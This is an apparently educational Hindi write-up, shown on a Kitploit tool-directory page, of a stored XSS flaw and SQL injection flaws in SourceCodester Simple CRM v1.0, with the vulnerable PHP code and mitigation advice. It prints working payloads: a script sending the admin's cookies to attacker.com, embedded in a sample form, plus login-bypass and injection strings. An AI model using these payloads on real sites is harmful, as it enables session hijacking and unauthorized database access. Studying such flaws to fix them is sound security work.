Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-24203-and-CVE-2023-24204 — CVE-2023-24203 (Stored XSS) और CVE-2023-24204 (SQL Injection) का SourceCodester CRM में शैक्षिक विश्लेषण, शोषण चरणों और शमन रणनीतियों के साथ। | Kitploit
उपकरण/GitHubGitHub/momo1239/cve-2023-24203-and-cve-2023-24204
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेपर और शोधलर्निंग और शिक्षा
GitHubmomo1239/cve-2023-24203-and-cve-2023-24204

CVE-2023-24203-and-CVE-2023-24204

CVE-2023-24203 (Stored XSS) और CVE-2023-24204 (SQL Injection) का SourceCodester CRM में शैक्षिक विश्लेषण, शोषण चरणों और शमन रणनीतियों के साथ।

रिपॉजिटरी देखें
12 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-24203 और CVE-2023-24204

परिचय

साइबर सुरक्षा के निरंतर विकसित होते परिदृश्य में, वेब एप्लिकेशन हमलावरों के लिए एक प्रमुख लक्ष्य बने हुए हैं जो कमजोरियों का शोषण करना चाहते हैं। हाल ही में, SourceCodester Simple Customer Relationship Management (CRM) System v1.0 में दो महत्वपूर्ण कमजोरियाँ खोजी गईं: CVE-2023-24203 और CVE-2023-24204। इन कमजोरियों में क्रॉस-साइट स्क्रिप्टिंग (XSS) और SQL इंजेक्शन शामिल हैं, जो मनमाना कोड निष्पादन और अनधिकृत पहुँच सहित महत्वपूर्ण जोखिम पैदा करती हैं। डेवलपर्स और सुरक्षा पेशेवरों के लिए इन कमजोरियों और उनके प्रभावों को समझना संभावित खतरों से सिस्टम की सुरक्षा के लिए आवश्यक है।

क्रॉस-साइट स्क्रिप्टिंग (XSS)

क्रॉस-साइट स्क्रिप्टिंग (XSS) एक प्रकार की कमजोरी है जो तब होती है जब कोई वेब एप्लिकेशन उपयोगकर्ताओं को अन्य उपयोगकर्ताओं द्वारा देखे गए वेब पेजों में दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करने की अनुमति देता है। इससे उपयोगकर्ता की ओर से अनधिकृत कार्रवाई, डेटा चोरी और आगे का शोषण हो सकता है। XSS कमजोरियों को तीन मुख्य प्रकारों में वर्गीकृत किया जा सकता है:

  1. स्टोर्ड XSS: दुर्भावनापूर्ण स्क्रिप्ट लक्ष्य सर्वर पर स्थायी रूप से संग्रहीत हो जाती है, जैसे कि डेटाबेस, संदेश मंच या टिप्पणी फ़ील्ड में।
  2. रिफ्लेक्टेड XSS: दुर्भावनापूर्ण स्क्रिप्ट वेब सर्वर से परावर्तित होती है, जैसे कि त्रुटि संदेश, खोज परिणाम, या कोई अन्य प्रतिक्रिया जिसमें सर्वर को भेजे गए इनपुट का कुछ या सभी भाग शामिल हो।
  3. DOM-आधारित XSS: कमजोरी सर्वर-साइड कोड के बजाय क्लाइंट-साइड कोड में मौजूद होती है।

SQL इंजेक्शन

SQL इंजेक्शन एक प्रकार की कमजोरी है जो तब होती है जब कोई हमलावर क्वेरी में मनमाना SQL कोड इंजेक्ट करके SQL क्वेरी में हेरफेर करने में सक्षम होता है। इससे अनधिकृत पहुँच, डेटा चोरी और अन्य दुर्भावनापूर्ण गतिविधियाँ हो सकती हैं। SQL इंजेक्शन आमतौर पर अपर्याप्त इनपुट सत्यापन और पैरामीटरयुक्त क्वेरी की कमी के कारण होता है। SQL इंजेक्शन के मुख्य प्रभावों में शामिल हैं:

  1. अनधिकृत पहुँच: हमलावर प्रमाणीकरण तंत्र को दरकिनार करके सिस्टम तक अनधिकृत पहुँच प्राप्त कर सकते हैं।
  2. डेटा चोरी: हमलावर डेटाबेस से संवेदनशील जानकारी निकाल सकते हैं।
  3. डेटा हेरफेर: हमलावर डेटाबेस के भीतर डेटा को बदल, सम्मिलित या हटा सकते हैं।

इस ब्लॉग पोस्ट में, हम CVE-2023-24203 और CVE-2023-24204 पर ध्यान देंगे, इन कमजोरियों के विवरण, उनके हमले के वैक्टर, प्रभाव और शमन रणनीतियों की खोज करेंगे। संभावित शोषण से अपने एप्लिकेशन और डेटा की सुरक्षा के लिए इन कमजोरियों को गहराई से समझना महत्वपूर्ण है।

वेब एप्लिकेशन में SQL इंजेक्शन के सामान्य कारण

SQL इंजेक्शन कमजोरियाँ अक्सर अपर्याप्त इनपुट सत्यापन और खराब कोडिंग प्रथाओं का परिणाम होती हैं। कुछ सामान्य कारणों में शामिल हैं:

  1. पैरामीटरयुक्त क्वेरी का अभाव: पैरामीटरयुक्त क्वेरी का उपयोग करने में विफलता हमलावरों को क्वेरी स्ट्रिंग में दुर्भावनापूर्ण SQL कोड इंजेक्ट करने की अनुमति देती है।
  2. अपर्याप्त इनपुट सत्यापन: उपयोगकर्ता इनपुट को ठीक से सत्यापित नहीं करने से अनपेक्षित SQL कमांड का निष्पादन हो सकता है।
  3. डायनामिक SQL क्वेरी: उपयोगकर्ता इनपुट से सीधे स्ट्रिंग्स को जोड़कर SQL क्वेरी को गतिशील रूप से बनाना शोषण योग्य कमजोरियाँ पैदा कर सकता है।
  4. उपयोगकर्ता इनपुट का अपर्याप्त एस्केपिंग: उपयोगकर्ता इनपुट में विशेष वर्णों को ठीक से एस्केप नहीं करने से SQL इंजेक्शन हमलों की अनुमति मिल सकती है।
  5. लीगेसी कोड: पुराने कोडबेस आधुनिक सुरक्षा प्रथाओं का पालन नहीं कर सकते हैं, जिससे वे SQL इंजेक्शन के प्रति अधिक संवेदनशील हो जाते हैं।

वेब एप्लिकेशन में XSS के सामान्य कारण

क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरियाँ आमतौर पर उपयोगकर्ता इनपुट और आउटपुट को ठीक से संभालने में विफलता के कारण होती हैं। सामान्य कारणों में शामिल हैं:

  1. अनुचित आउटपुट एन्कोडिंग: वेब पेजों पर प्रदर्शित करने से पहले उपयोगकर्ता इनपुट को एन्कोड करने में विफलता दुर्भावनापूर्ण स्क्रिप्ट के इंजेक्शन की अनुमति दे सकती है।
  2. अपर्याप्त इनपुट सत्यापन: उपयोगकर्ता इनपुट को सत्यापित या स्वच्छ नहीं करने से इंजेक्ट की गई स्क्रिप्ट का निष्पादन हो सकता है।
  3. परावर्तित उपयोगकर्ता इनपुट: बिना उचित सत्यापन या एन्कोडिंग के प्रतिक्रियाओं में उपयोगकर्ता इनपुट को सीधे परावर्तित करने से रिफ्लेक्टेड XSS हो सकता है।
  4. संग्रहीत उपयोगकर्ता इनपुट: बिना उचित स्वच्छता के उपयोगकर्ता इनपुट को संग्रहीत करने से स्टोर्ड XSS हमले हो सकते हैं।
  5. DOM हेरफेर: उपयोगकर्ता इनपुट के आधार पर डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM) का असुरक्षित हेरफेर DOM-आधारित XSS का परिणाम हो सकता है।

CVE-2023-24203: एक स्टोर्ड XSS ढूँढना!

कमजोरी का सारांश

CVE-2023-24203 SourceCodester Simple Customer Relationship Management (CRM) System v1.0 के get-quote.php घटक में पाई गई एक स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी है। यह कमजोरी एक हमलावर को company और query पैरामीटर में दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करने की अनुमति देती है, जो तब डेटाबेस में संग्रहीत हो जाती हैं और जब किसी व्यवस्थापक द्वारा देखी जाती हैं तो निष्पादित होती हैं, जिससे मनमाना कोड निष्पादन होता है।

कमजोरी का विवरण

कमजोरी get-quote.php स्क्रिप्ट में निहित है, जो एक उद्धरण अनुरोध फॉर्म से उपयोगकर्ता इनपुट को संसाधित करती है। PHP स्रोत कोड नीचे दिखाया गया है:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

स्क्रिप्ट फॉर्म से उपयोगकर्ता इनपुट (नाम, ईमेल, संपर्क, कंपनी, सेवाएँ, अन्य, और क्वेरी) लेती है और उन्हें सीधे SQL क्वेरी में शामिल करके डेटाबेस में डेटा संग्रहीत करती है। जबकि सेवाओं के इनपुट को mysqli_real_escape_string और addslashes का उपयोग करके स्वच्छ किया जाता है, कंपनी और क्वेरी पैरामीटर को प्रतिक्रिया में वापस इको करते समय ठीक से स्वच्छ या एन्कोड नहीं किया जाता है। उचित स्वच्छता और एन्कोडिंग की यह कमी डेटाबेस में दुर्भावनापूर्ण स्क्रिप्ट के इंजेक्शन और भंडारण की अनुमति देती है।

शोषण

इस कमजोरी का शोषण करने के लिए, एक हमलावर कंपनी या क्वेरी पैरामीटर में दुर्भावनापूर्ण JavaScript कोड शामिल करने वाला पेलोड तैयार कर सकता है। जब व्यवस्थापक उद्धरण अनुरोध देखता है, तो इंजेक्ट की गई स्क्रिप्ट उनके ब्राउज़र में निष्पादित होगी।

उदाहरण शोषण पेलोड

क्वेरी पैरामीटर में निम्नलिखित पेलोड सबमिट करके:

root@kitploit:~
<script>alert('XSS');</script>

हमलावर एक XSS हमले को ट्रिगर कर सकता है जब व्यवस्थापक उद्धरण अनुरोध देखता है।

व्यवस्थापक कुकीज़ चुराना

व्यवस्थापक के सत्र कुकीज़ चुराने के लिए अधिक हानिकारक पेलोड तैयार किया जा सकता है। क्वेरी पैरामीटर में निम्नलिखित पेलोड का उपयोग करके:

root@kitploit:~
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>

हमलावर व्यवस्थापक की कुकीज़ को हमलावर द्वारा नियंत्रित दूरस्थ सर्वर पर भेज सकता है।

शोषण के चरण

  1. दुर्भावनापूर्ण उद्धरण अनुरोध सबमिट करें: हमलावर उद्धरण अनुरोध फॉर्म भरता है, कंपनी या क्वेरी फ़ील्ड में दुर्भावनापूर्ण पेलोड इंजेक्ट करता है।
root@kitploit:~
<form method="post" action="get-quote.php">
    <input type="text" name="company" value="CompanyX"><br>
    <input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
    <input type="submit" name="submit" value="Submit">
</form>
  1. व्यवस्थापक अनुरोध देखता है: जब व्यवस्थापक CRM सिस्टम में लॉग इन करता है और सबमिट किए गए उद्धरण को देखता है, तो दुर्भावनापूर्ण स्क्रिप्ट उनके ब्राउज़र में निष्पादित होती है, जो उनके सत्र कुकीज़ को हमलावर के सर्वर पर भेजती है।

प्रभाव

इस स्टोर्ड XSS कमजोरी का सफल शोषण एक हमलावर को व्यवस्थापक के ब्राउज़र के संदर्भ में मनमाना JavaScript निष्पादित करने की अनुमति देता है। इससे विभिन्न दुर्भावनापूर्ण कार्य हो सकते हैं, जिनमें शामिल हैं:

  • सत्र कुकीज़ चुराना
  • उपयोगकर्ता सत्रों का अपहरण करना
  • व्यवस्थापक की ओर से अनधिकृत कार्रवाई करना
  • व्यवस्थापक को दुर्भावनापूर्ण वेबसाइटों पर रीडायरेक्ट करना

शमन

इस कमजोरी को कम करने के लिए, वेब पेज में शामिल करने से पहले सभी उपयोगकर्ता इनपुट को स्वच्छ और एन्कोड करना आवश्यक है। विशेष रूप से:

  • इनपुट स्वच्छ करें: उपयोगकर्ता इनपुट में विशेष वर्णों को एन्कोड करने के लिए htmlspecialchars() जैसे फ़ंक्शन का उपयोग करें।
  • इनपुट सत्यापित करें: यह सुनिश्चित करने के लिए सख्त इनपुट सत्यापन लागू करें कि केवल अपेक्षित डेटा ही स्वीकार किया जाए।
  • सामग्री सुरक्षा नीति (CSP): उन स्रोतों को प्रतिबंधित करने के लिए CSP हेडर का उपयोग करें जहाँ से स्क्रिप्ट लोड और निष्पादित की जा सकती हैं।

CVE-2023-24204: एक SQL इंजेक्शन और प्रमाणीकरण बाइपास ढूँढना!

CVE-2023-24204 SourceCodester Simple Customer Relationship Management (CRM) System v1.0 के get-quote.php और login.php घटकों में पाई गई एक SQL इंजेक्शन कमजोरी है। यह कमजोरी एक हमलावर को डेटाबेस में मनमाना SQL कमांड इंजेक्ट करने की अनुमति देती है, जिससे संभावित रूप से अनधिकृत पहुँच और डेटा हेरफेर हो सकता है।

कमजोरी का विवरण

SQL इंजेक्शन कमजोरी get-quote.php और admin/login.php दोनों स्क्रिप्ट में मौजूद है। नीचे इन कमजोरियों के प्रकट होने और शोषण किए जाने के तरीके का विश्लेषण दिया गया है।

get-quote.php

get-quote.php स्क्रिप्ट एक उद्धरण अनुरोध फॉर्म से उपयोगकर्ता इनपुट को संसाधित करती है। स्रोत कोड नीचे दिखाया गया है:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

और आइए login.php स्रोत कोड तर्क पर भी एक नज़र डालते हैं।

root@kitploit:~
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL)); 
$city = $addrDetailsArr['geoplugin_city']; 
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");

$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";

echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>

कमजोरी का विश्लेषण

get-quote.php स्क्रिप्ट name पैरामीटर को पर्याप्त रूप से स्वच्छ नहीं करती है। एक हमलावर Burp Suite जैसे टूल का उपयोग करके अनुरोध को इंटरसेप्ट कर सकता है, name पैरामीटर को संशोधित कर सकता है, और दुर्भावनापूर्ण SQL कमांड इंजेक्ट कर सकता है।

login.php स्क्रिप्ट ईमेल और पासवर्ड फ़ील्ड पर उचित इनपुट सत्यापन की कमी के कारण प्रमाणीकरण बाइपास के प्रति संवेदनशील है। एक हमलावर प्रमाणीकरण को बायपास करने और पहुँच प्राप्त करने के लिए hack' or 1=1;# जैसे पेलोड का उपयोग कर सकता है।

शोषण

  1. get-quote.php का शोषण
    • अनुरोध को इंटरसेप्ट करें: फॉर्म सबमिशन अनुरोध को इंटरसेप्ट करने के लिए Burp Suite जैसे प्रॉक्सी टूल का उपयोग करें।
    • name पैरामीटर को संशोधित करें: name पैरामीटर में दुर्भावनापूर्ण SQL कमांड इंजेक्ट करें। उदाहरण के लिए:

' OR '1'='1';--

  • संशोधित अनुरोध सबमिट करें: संशोधित अनुरोध सर्वर को भेजें। इंजेक्ट किया गया SQL कमांड डेटाबेस द्वारा निष्पादित किया जाएगा।
  1. login.php का शोषण
    • लॉगिन पेज पर जाएँ: login.php पेज पर जाएँ।
    • दुर्भावनापूर्ण पेलोड दर्ज करें: ईमेल फ़ील्ड में hack' or 1=1;# जैसे पेलोड और पासवर्ड फ़ील्ड में कोई भी स्ट्रिंग उपयोग करें।


  • प्रमाणीकरण बायपास करें: फॉर्म सबमिट करें। पेलोड प्रमाणीकरण को बायपास करता है, खाते तक पहुँच प्रदान करता है।

प्रभाव

इन SQL इंजेक्शन कमजोरियों का सफल शोषण विभिन्न दुर्भावनापूर्ण कार्यों को जन्म दे सकता है, जिनमें शामिल हैं:

  • अनधिकृत पहुँच: हमलावर सिस्टम तक प्रशासनिक पहुँच प्राप्त कर सकते हैं।
  • डेटा चोरी: हमलावर डेटाबेस से संवेदनशील जानकारी निकाल सकते हैं।
  • डेटा हेरफेर: हमलावर डेटाबेस के भीतर डेटा को बदल, सम्मिलित या हटा सकते हैं।

शमन

इन कमजोरियों को कम करने के लिए, उचित इनपुट सत्यापन लागू करना और पैरामीटरयुक्त क्वेरी का उपयोग करना आवश्यक है। विशेष रूप से:

  • तैयार स्टेटमेंट का उपयोग करें: SQL इंजेक्शन को रोकने के लिए पैरामीटरयुक्त क्वेरी लागू करें।
  • इनपुट सत्यापित करें: यह सुनिश्चित करने के लिए सख्त इनपुट सत्यापन लागू करें कि केवल अपेक्षित डेटा ही स्वीकार किया जाए।
  • इनपुट को एस्केप करें: SQL क्वेरी में उपयोग करने से पहले सभी उपयोगकर्ता इनपुट को ठीक से एस्केप करें।

इन सर्वोत्तम प्रथाओं का पालन करके, आप SQL इंजेक्शन हमलों के जोखिम को काफी कम कर सकते हैं और अपने वेब एप्लिकेशन को संभावित शोषण से बचा सकते हैं।

टूल डाउनलोड करें